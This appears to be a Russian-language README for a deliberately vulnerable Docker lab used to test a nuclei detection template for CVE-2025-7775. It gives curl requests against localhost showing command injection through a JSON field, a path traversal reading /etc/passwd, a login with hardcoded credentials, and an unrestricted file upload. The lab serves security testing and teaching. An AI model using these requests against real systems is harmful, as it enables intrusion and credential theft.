CVE-2025-7775 Уязвимая лаборатория

Этот репозиторий предоставляет уязвимую среду для тестирования шаблона nuclei для CVE-2025-7775.

Запуск

docker build -t vuln-app .
docker run -d --name vuln-test -p 5000:5000 vuln-app

Тесты уязвимостей

1. Удаленное выполнение команд (RCE)

curl -X POST http://localhost:5000/api/v1/configuration \
  -H "Content-Type: application/json" \
  -d '{"payload":"ls > /tmp/poc_rce.txt"}'

docker exec -it vuln-test cat /tmp/poc_rce.txt

2. Обход пути

curl "http://localhost:5000/download?file=/etc/passwd"

3. Жестко прописанные учетные данные

curl -X POST http://localhost:5000/api/v1/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin", "password":"citrix123"}'

4. Небезопасная загрузка файлов

echo "POC FILE UPLOAD" > test.txt
curl -X POST -F "[email protected]" http://localhost:5000/upload
docker exec -it vuln-test cat /tmp/test.txt

Примечания по использованию

• Это смоделированная уязвимая среда, предназначенная только для тестирования
• Используйте только в изолированных лабораторных средах
• Не предназначено для использования в производственной среде
• Только для образовательных целей и исследований в области безопасности

Очистка

docker stop vuln-test
docker rm vuln-test
docker rmi vuln-app